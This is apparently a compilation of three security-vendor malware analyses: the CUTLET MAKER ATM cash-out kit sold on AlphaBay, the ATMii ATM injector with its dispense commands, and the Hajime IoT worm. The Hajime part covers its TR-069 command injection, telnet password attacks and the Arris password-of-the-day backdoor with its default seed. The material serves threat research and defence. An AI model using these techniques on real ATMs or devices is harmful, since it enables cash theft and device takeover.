An offer post on AlphaBay market

The price of the kit was 5000 USD at the time of research. The AlphaBay description includes details such as the required equipment, targeted ATMs models, as well as tips and tricks for the malware’s operation. And part of a detailed manual for the toolkit was also provided.

Screenshot of a description on AlphaBay market

Previously described ATM malware Tyupkin was also mentioned in this text. The manual “Wall ATM Read Me.txt” was distributed as a plain text file, written in poor English and with bad text formatting. The use of slang and grammatical mistakes suggests that this text was most likely written by a native Russian-speaker.

Apart of a manual with text formatting applied

The manual provides a detailed picture, though only a fragment of the complete manual is being shown. There is a description for each step of the dispense process:

The manual provides usage descriptions for all parts of the toolset. The list of crimeware from the kit consists of CUTLET MAKER ATM malware, the primary element, with a password generator included and a Stimulator – an application to gather cash cassette statuses of a target ATM. The crimeware kit is a collection of programs possibly written by different authors, though CUTLET MAKER and Stimulator were protected in the same way, c0decalc is a simple terminal-based application without any protection at all.

Delicious cutlet ingredients: CUTLET MAKER, c0decalc and Stimulator

The first sample was named “CUTLET MAKER” by its authors and has been designed to operate the cash dispense process on specific vendor ATMs.

To answer the question of how a cook from the CUTLET MAKER interface and cutlets relate to stealing money from ATMs, we must explain the meaning of the word “Cutlet“. Originally, it means a meat dish, but as a Russian slang term “Cutlet” (котлета) means “a bundle of money”, suggesting that the criminals behind the malware might be native Russian speakers.

The “Cutlet Maker” malware functionality suggests that two people are supposed to be involved in the theft – the roles are called “drop” and “drop master”. Access to the dispense mechanism of CUTLET MAKER is password protected. Though there could be just one person with the c0decalc application needed to generate a password. Either network or physical access to an ATM is required to enter the code in the application text area and also to interact with the user interface.

Stimulator was possibly developed by the same authors. Its purpose is to retrieve and show the status information of specific vendor ATM cash cassettes (such as currency, value and the amount of notes).

CUTLET MAKER and c0decalc

CUTLET MAKER is the main module responsible for dispensing money from the ATM. The sample analysed in this research has the MD5 checksum “fac356509a156a8f11ce69f149198108” and the compilation timestamp Sat Jul 30 20:17:08 2016 UTC.

The program is written in Delphi and was packed with VMProtect, however it is possible that multiple packers might have been used.

Different versions of the main component were found while researching this toolset. The first known submission of the first version sent to a public multiscanner service took place on June 22nd 2016. All submissions discovered by Kaspersky Lab were performed from different countries, with Ukraine being the chronological first country of origin.

Known CUTLET MAKER filenames (according to public multiscanner service information):

The following version information was captured from the application’s window caption, followed after a “CUTLET MAKER” name. Known versions at the time of research were:

The assumed development period is from 2016-06-22 to 2016-08-18, according to the first submission date of the earliest version and the last submission date of the latest version at the time of writing. The application requires a special library to operate, which is part of a proprietary ATM API, controlling the cash dispenser unit.

With all the dependencies in place, the interface shows a code.

CUTLET MAKER challenge code marked with red rectangle

In order to unlock the application, a password from c0decalc generator needs to be entered, thereby answering the given challenge code. If the password is incorrect, the interface won’t react to any further input.

Each “CHECK HEAT” and “start cooking!” button corresponds to a specific ATM cash cassette. Buttons labeled “CHECK HEAT” dispense one note, “start cooking!” dispenses 50 “cutlets” with 60 notes each.  The “Stop!” button stops an ongoing “start cooking!” process. “Reset” is intended to reset the dispense process.

c0decalc a password generator for CUTLET MAKER

This tool is an unprotected command line application, written in Visual C. The purpose of this application is to generate a password for CUTLET MAKER’s graphical interface.

The compilation timestamp for this specific sample is Sun Nov 13 11:35:25 2016 UTC and was first uploaded to a public multiscanner service on December 7th 2016.

Example output for “12345678” input

Kaspersky Lab researchers checked the algorithm during the analysis and found “CUTLET MAKER” working with the passwords generated by “c0decalc”.

Stimulator

The Stimulator sample analysed in this research has the MD5 hash “27640bb7908ca7303d13d50c14ccf669”. This sample is also written in Delphi and packed the same way as “CUTLET MAKER”. The compilation timestamp is Sat Jul 16 18:34:47 2016 UTC.

The application is designed to work on specific vendor ATMs and also uses proprietary API calls.

Some additional symbols were found in the memory dump of a “Stimulator” process, pointing to an interesting part of the application. After execution and pressing the “STIMULATE ME!” button, the proprietary API function is used to fetch an ATM’s cassette status. The following cassette state results are used:

Each preceding number is mapped to an ATM cassette. The three character states are interpreted as follows:

The result of “STIMULATE ME!” button press in proper environment

Each column, shown in the picture above, describes the state of one corresponding ATM cassette.

The background picture used in the application interface turns out to be quite unique, the original photo was posted on a DIY blog:

Original picture as used in “Stimulator” application (photo by Alex Santantonio)

Conclusion

This type of malware does not affect bank customers directly, it is intended for the theft of cash from specific vendor ATMs. CUTLET MAKER and Stimulator show how criminals are using legitimate proprietary libraries and a small piece of code to dispense money from an ATM. Examples of appropriate countermeasures against such attacks include default-deny policies and device control. The first measure prevents criminals from running their own code on the ATM’s internal PC. It is likely that ATMs in these attacks were infected through physical access to the PC, which means criminals were using USB drives to install malware onto the machine. In such a case, device control software would prevent them from connecting new devices, such as USB sticks. Kaspersky Embedded Systems Security will help to extend the security level of ATMs.

Kaspersky Lab products detects this threats as Backdoor.Win32.ATMletcut, Backdoor.Win32.ATMulator, Trojan.Win32.Agent.ikmo

While some criminals blow up ATMs to steal cash, others use less destructive methods, such as infecting the ATM with malware and then stealing the money. We have written about this phenomenon extensively in the past and today we can add another family of malware to the list – Backdoor.Win32.ATMii.

ATMii was first brought to our attention in April 2017, when a partner from the financial industry shared some samples with us. The malware turned out to be fairly straightforward, consisting of only two modules: an injector module (exe.exe, 3fddbf20b41e335b6b1615536b8e1292) and the module to be injected (dll.dll, dc42ed8e1de55185c9240f33863a6aa4). To use this malware, criminals need direct access to the target ATM, either over the network or physically (e.g. over USB). ATMii, if it is successful, allows criminals to dispense all the cash from the ATM.

exe.exe – an injector and control module

The injector is an unprotected command line application, written in Visual C with a compilation timestamp: Fri Nov 01 14:33:23 2013 UTC. Since this compilation timestamp is from 4 years ago – and we do not think this threat could have gone unnoticed for 4 years – we believe it is a fake timestamp. What’s also interesting is the OS that is supported by the malware: One more recent than Windows XP. We can see this in the image below, where the first argument for the OpenProcess() function is 0x1FFFFu.

OpenProcess call with the PROCESS_ALL_ACCESS constant

It is the PROCESS_ALL_ACCESS constant, but this constant value differs in older Windows versions such as Windows XP (see the picture below). This is interesting because most ATMs still run on Windows XP, which is thus not supported by the malware.

A list of PROCESS_ALL_ACCESS values per Windows version

The injector, which targets the atmapp.exe (proprietary ATM software) process, is fairly poorly written, since it depends on several parameters. If none are given, the application catches an exception. The parameters are pretty self-explanatory:

/load param

The application searches for a process with the name atmapp.exe and injects code into it that loads the “dll.dll” library (which has to be in the same folder as the exe.exe file). After it has been loaded it calls the DLLmain function.

/unload param

As the name already suggests, it is the opposite of the /load parameter; it unloads the injected module and restores the process to its original state.

/cmd param

The application creates/updates C:\ATM\c.ini which is used by the injected DLL to read commands. The file is updated each time the .exe is run with the /cmd param.

Contents of c.ini after execution of “exe.exe /cmd info”

The executable understands the following set of commands:

dll.dll injecting module

After injection and execution of the DllMain function, the dll.dll library loads msxfs.dll and replaces the WFSGetInfo function with a special wrap function, named mWFSGetInfo.

At the time of the first call to the fake WFSGetInfo function, C:\ATM\c.ini is ignored and the library tries to find the ATM’s CASH_UNIT service id and stores the result, basically in the same way as the scan command does. If the CASH_UNIT service is not found, dll.dll won’t function. However, if successful, all further calls go to the mWFSGetInfo function, which performs the additional logic (reading, parsing and executing the commands from the C:\ATM\c.ini file).

Contents of C:\ATM\c.ini after execution of “exe.exe /cmd disp RUB 6000”

Below is an output of the strings program uncovering some interesting log messages and the function names to be imported. The proprietary MSXFS.DLL library and its functions used in the ATMii malware are marked with red boxes.

“scan” command

Because of the architecture of XFS, which is divided into services, the injected library first needs to find the dispense service. This command must be successfully called, because the disp and info commands depend on the service id retrieved by scan. Scan is automatically called after the dll has been injected into atmapp.exe.

After collecting the WFS_INF_CDM_STATUS data, additional data gets added to the tlogs.log. An example can be found below:

Part of a tlogs.log possible log after successfully executed “scan” command

“info” command

Before the criminals can dispense cash, they first need to know the exact contents of the different cassettes. For this, they use the info command which provides exhaustive information on all cassettes and their contents. The list of used XFS API functions is the same as with the scan command, but this time WFSGetInfo is called with the WFS_INF_CDM_CASH_UNIT_INFO (303) constant passed as a param.

Below is an example of the data in log file returned by the info command.

Example5 Part of a tlogs.log possible log after successfully executed “info” command

“disp” command

The dispense command is followed by two additional params in the command file: currency and amount. Currency must contain one of the three-letter currency codes of notes kept in the CASH_UNIT_INFO structure (currency codes are described in ISO_4217 e.g. RUB, EUR). The amount code holds the amount of cash to dispense and this value must be a multiple of ten.

“die” command

Does nothing except deleting C:\ATM\c.ini command file.

Conclusion

ATMii is yet another example of how criminals can use legitimate proprietary libraries and a small piece of code to dispense money from an ATM. Some appropriate countermeasures against such attacks are default-deny policies and device control. The first measure prevents criminals from running their own code on the ATM’s internal PC, while the second measure will prevent them from connecting new devices, such as USB sticks.

Introduction

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.

Hajime is continuously evolving, adding and removing features over time. The malware authors are mainly reliant on very low levels of security.

In this blogpost we outline some of the recent ‘improvements’ to Hajime, some techniques that haven’t been made public, and some statistics about infected IoT devices.

ATK module improvements

First of all, let’s take a look at the changes made to the attack module recently. Currently, the ATK (attack) module supports three different attack methods which help to propagate the worm on different IoT devices:

1. TR-069 exploitation;
2. Telnet default password attack;
3. Arris cable modem password of the day attack.

Of these three attacks, the TR-069 exploit is a new one, implemented recently by the attackers.

Technical Report 069 is a standard published by the Broadband Forum, which is an industry organization defining standards used to manage broadband networks. Many ISPs and device manufacturers are members of the Broadband Forum. TR-069 allows ISPs to manage modems remotely. TCP port 7547 has been assigned to this protocol, but some devices appear to use port 5555 instead.

The TR-069 NewNTPServer feature can be used to execute arbitrary commands on vulnerable devices. In order to do so, the exploit starts by connecting to port 7547 and then sends the following HTTP request:

Where RANDOM_USER_AGENT is chosen from the following list:

After some checks, it sends the following request to trigger the vulnerability:

The INJECT_COMMANDS can either be:

or:

Once the vulnerable device executes the commands specified in INJECT_COMMANDS, the device is infected and becomes part of the botnet.

Architecture detection

With the addition of the new attack vector as described above, it would make sense to improve the architecture detection logic. This is because Hajime doesn’t attack any specific type of device, but rather any device on the Internet with the exception of several networks (it does has some logic to speed up attacks on specific devices though – see the next section). And this is exactly what they did, though strangely enough this only holds for the Telnet attack.

Once the attack successfully passes the authentication stage, the first 52 bytes of the victim’s echo binary are read. The first 20 bytes, which is the ELF header, hold information about the architecture, operating system and other fields. The victim’s echo ELF header is then compared against a predefined array, containing the Hajime stub downloader binaries for different architectures. This way the correct Hajime-downloader binary that works on the victim’s machine, can be uploaded from the attacker (which is actually the infected device that started the attack).

But before this, the host and port that the malware will be downloaded from needs to be set. The Hajime stub downloader binary has these values filled up with 0xCC bytes by default. To solve this, they are fixed on the fly right before connecting.

Furthermore the downloader needs to be patched with the WAN interface’s name. The attackers have a clever trick, where they ‘echo’ the binary to a file (“.s”), set the WAN interface name and then echo the last part of the binary (see below).

“Smart” password bruteforcing

Even though Hajime can attack any device, the authors nevertheless focused on some specific brands/devices. For example, if after opening a telnet session the welcome message contains one of the following words, then the bruteforcing starts with a specific username-password combination.

Password hint words:

One string that is not listed above is that of “ARRIS”, because if this string is found, the attack changes slightly. The Atk module uses a specially crafted password of the day for the Arris cable modem instead of using the static telnet passwords. The ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily password. The default seed is “MPSJKMDHAI” and many ISPs don’t bother changing it at all. After successful authentication the module gains access to a remote shell and can execute commands.

Victimology

While working on this blogpost, we collected statistics using three different methods:

1. We had a honeypot with telnet open;
2. We looked at the infected peers as DHT seeders;
3. We looked at the infected peers as DHT leechers;

Of these three methods, the DHT leecher count proved to be the best. By announcing on the DHT network with a peer id similar to that day’s identifier of the configuration file we were able to be the “nearest” node and collected requests from almost every infected device.

The DHT seeder count is an inverse method; we were requesting the Hajime config and receiving the lists of seeding nodes. Due to the limitations of the DHT architecture we can see most of the leechers, but not most of the seeders. Therefore, the seeder data is of less relevance than the leecher data.

Geography of telnet attackers

Our honeypot registered 2,593 successful telnet Hajime attacks in 24 hours. 2,540 of them were from unique IP addresses, 949 hosts provided a payload and 528 had an active web server running at port 80/tcp.

Victim device web server analysis

The HTTP server version is typically shown in the HTTP server response headers. After a little analysis we see that most of the victims turn out to be DVRs, followed by web cameras, routers, etc.

Geography of infected peers as DHT seeders

Throughout the research period, at least 15,888 unique infected boxes were revealed, though this number is not very accurate. All of them were seeding Hajime config.

Geoip of infected peers as DHT leechers

This method revealed 297,499 unique infected hosts during the research period. All of them were requesting Hajime config.

Conclusion

The most intriguing thing about Hajime is its purpose. While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven’t seen it being used in any type of attack or malicious activity. And maybe this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed through stdout while the new configuration is being processed:

Example message:

Whether the author’s message is true or not remains to be seen. Nevertheless, we advise owners of IoT devices to change the password of their devices to one that’s difficult to brute force and to update the firmware if possible.

Kaspersky Labs products detect this threat as Backdoor.Linux.Hajime.

Appendix

Hardcoded IP subnetworks avoided by Hajime:

85.159.0.0/16 Ukraine; Region Vinnyts’ka Oblast’
109.201.0.0/16 Iran, Islamic Republic of; Region Tehran
77.247.0.0/16 Germany Virtela Communications Inc Amsterdam, NL POP
169.255.0.0/16 South Africa; Region Gauteng

0.0.0.0/8 IANA – Local Identification
3.0.0.0/8 General Electric Company
15.0.0.0/8 Hewlett-Packard Company
16.0.0.0/8 Hewlett-Packard Company
56.0.0.0/8 US Postal Service
224.0.0.0/4 Multicast

United States Department of Defense:

6.0.0.0/8
7.0.0.0/8
11.0.0.0/8
21.0.0.0/8
22.0.0.0/8
26.0.0.0/8
28.0.0.0/8
29.0.0.0/8
30.0.0.0/8
33.0.0.0/8
55.0.0.0/8
214.0.0.0/8
215.0.0.0/8

Private networks:

192.168.0.0/16
172.16.0.0/12
127.0.0.0/8
10.0.0.0/8
100.64.0.0/10
198.18.0.0/15